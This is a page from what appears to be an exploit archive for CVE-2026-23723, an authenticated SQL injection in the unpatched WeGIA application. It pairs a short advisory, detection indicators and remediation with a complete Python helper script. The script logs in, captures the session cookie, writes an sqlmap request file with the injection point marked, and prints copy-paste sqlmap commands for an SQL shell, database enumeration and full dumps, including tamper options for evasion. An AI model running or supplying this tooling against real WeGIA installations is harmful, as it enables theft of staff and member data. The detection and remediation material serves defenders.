PoC Archive PoC Archive
High CVE-2026-23723 / GHSA-xfmp-2hf9-gfjp unpatched

WeGIA Authenticated Error-Based SQL Injection Exploitation Helper (CVE-2026-23723)

by ViniCastro2001 (original PoC reporter); helper script by Ch35h1r3c47 · 2026-07-05

Severity
High
CVE
CVE-2026-23723 / GHSA-xfmp-2hf9-gfjp
Category
web
Affected product
WeGIA (Web Gestão Integrada de Associações)
Affected versions
<= 3.6.1
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherViniCastro2001 (original PoC reporter); helper script by Ch35h1r3c47
CVE / AdvisoryCVE-2026-23723 / GHSA-xfmp-2hf9-gfjp
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagswegia, sql-injection, authenticated, sqlmap, php, session-hijack, database-dump, error-based
RelatedN/A

Affected Target

FieldValue
Software / SystemWeGIA (Web Gestão Integrada de Associações)
Versions Affected<= 3.6.1
Language / PlatformPython 3 helper script targeting a PHP/MariaDB web application
Authentication RequiredYes
Network Access RequiredYes

Summary

WeGIA’s control.php endpoint (Atendido_ocorrenciaControle::listarTodosComAnexo) is vulnerable to authenticated error-based SQL injection through the id_memorando parameter. This helper script automates the tedious part of exploitation: it attempts login against several common WeGIA form-field naming conventions and login paths, extracts the resulting PHP session cookie, and writes a ready-to-use sqlmap request file with the injection point pre-marked. It then prints a set of copy-paste sqlmap commands for enumerating databases, opening an interactive SQL shell, and dumping tables such as funcionario. This is a convenience/automation wrapper around a manual sqlmap-driven exploitation workflow rather than a self-contained exploit.


Vulnerability Details

Root Cause

The id_memorando request parameter in control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo is concatenated into a SQL query without parameterization, producing an error-based SQL injection reachable by any authenticated user.

Attack Vector

  1. Run the helper script with valid WeGIA credentials; it brute-forces common login paths/field names to authenticate.
  2. On successful login, the script extracts the PHP session cookie.
  3. It writes an sqlmap .req file targeting the vulnerable id_memorando parameter with the injection marker (id_memorando=1*).
  4. The operator runs the printed sqlmap commands (--sql-shell, --dbs, --dump, etc.) against the generated request file to enumerate and exfiltrate the database.

Impact

Authenticated attacker can achieve full database read access (credentials, PII, application data) via sqlmap-driven error-based injection, and potentially an interactive SQL shell.


Environment / Lab Setup

Target:   WeGIA <= 3.6.1
Attacker: Python 3, requests library, sqlmap installed and in PATH

Proof of Concept

PoC Script

See CVE-2026-23723.py in this folder.

1
python CVE-2026-23723.py --url http://target.com -u admin -p wegia --output custom.req

The script logs into WeGIA, extracts the session cookie, generates an sqlmap-compatible .req file marking the id_memorando injection point, and prints ready-to-run sqlmap commands (interactive SQL shell, database/table enumeration, targeted or full dump).


Detection & Indicators of Compromise

POST /html/login.php ... cpf=... / login=... / usuario=...
GET /controle/control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=...

Signs of compromise:

  • SQL error messages or unusual response timing correlated with id_memorando parameter variations.
  • Authenticated sessions issuing high-volume or sqlmap-signature requests (tamper scripts, boolean/time-based payloads) against control.php.
  • Unexpected .req-style request files or sqlmap output directories on analyst/attacker workstations.

Remediation

ActionDetail
Primary fixUpgrade WeGIA past the version fixed per GHSA-xfmp-2hf9-gfjp; use parameterized queries for id_memorando
Interim mitigationApply WAF rules against SQLi patterns on control.php, restrict authenticated roles that can reach listarTodosComAnexo, and enable database query logging/alerting

References


Notes

Mirrored from https://github.com/Ch35h1r3c47/CVE-2026-23723-POC on 2026-07-05.

CVE-2026-23723.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#!/usr/bin/env python3
import argparse
import requests
import os
from urllib.parse import urljoin, urlparse
from getpass import getpass

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("-u", "--username", required=True)
    parser.add_argument("-p", "--password", default=None)
    parser.add_argument("--output", default="wegia_sqlmap.req")
    return parser.parse_args()

def try_login(base_url, username, password):
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml;q=0.9,*/*;q=0.8",
    })

    login_paths = ["/html/login.php", "/login.php", "/index.php"]
    form_fields = [
        {"cpf": username, "pwd": password},
        {"login": username, "senha": password},
        {"usuario": username, "senha": password},
        {"email": username, "password": password},
    ]

    for path in login_paths:
        login_url = urljoin(base_url, path)
        for fields in form_fields:
            try:
                r = s.post(login_url, data=fields, allow_redirects=True, timeout=12)
                text_lower = r.text.lower()
                success_keywords = ["sair", "logout", "menu", "principal", "ocorrência", "bem-vindo", "dashboard", "início", "admin", "sistema"]
                is_success = any(kw in text_lower for kw in success_keywords) or len(r.history) > 0
                if is_success:
                    cookie_str = "; ".join([f"{k}={v}" for k, v in s.cookies.items()])
                    return True, cookie_str, r.url
            except:
                continue
    return False, "", ""

def generate_sqlmap_req_file(base_url, cookie, output_path):
    parsed = urlparse(base_url)
    host = parsed.netloc
    vuln_path = "/controle/control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=1*"

    content = f"""GET {vuln_path} HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.7
Cookie: {cookie}
Connection: close

"""

    with open(output_path, "w", encoding="utf-8") as f:
        f.write(content)

def print_commands(req_file):
    print(f"\n{'='*70}")
    print("Recommended sqlmap commands (copy-paste to run):")
    print(f"{'='*70}\n")

    print("1. Interactive MySQL-like shell (most recommended)")
    print(f"sqlmap -r {req_file} --sql-shell --batch --dbms=mariadb\n")

    print("2. Show current database & all databases")
    print(f"sqlmap -r {req_file} --current-db --dbs --batch\n")

    print("3. List all tables in wegia database")
    print(f"sqlmap -r {req_file} -D wegia --tables --batch\n")

    print("4. Dump specific table (example: funcionario)")
    print(f"sqlmap -r {req_file} -D wegia -T funcionario --dump --threads=2 --batch\n")

    print("5. Dump entire wegia database (use with caution)")
    print(f"sqlmap -r {req_file} -D wegia --dump-all --threads=3 --batch --output-dir=./wegia_dump\n")

    print("Optional flags you may add:")
    print("  --proxy=http://127.0.0.1:8080")
    print("  --tamper=space2comment,randomcase")
    print(f"{'='*70}")

def main():
    args = parse_args()
    base_url = args.url.rstrip("/")
    password = args.password or getpass(f"Password for {args.username}: ")

    success, cookie, _ = try_login(base_url, args.username, password)

    if not success:
        print("\nLogin failed. Please login manually in browser, copy Cookie, then run:")
        print(f"sqlmap -u \"{base_url}/controle/control.php?...&id_memorando=*\" --cookie=\"YOUR_COOKIE_HERE\" --sql-shell")
        return

    generate_sqlmap_req_file(base_url, cookie, args.output)
    print(f"\n[+] sqlmap request file generated: {args.output}")
    print_commands(args.output)

if __name__ == "__main__":
    main()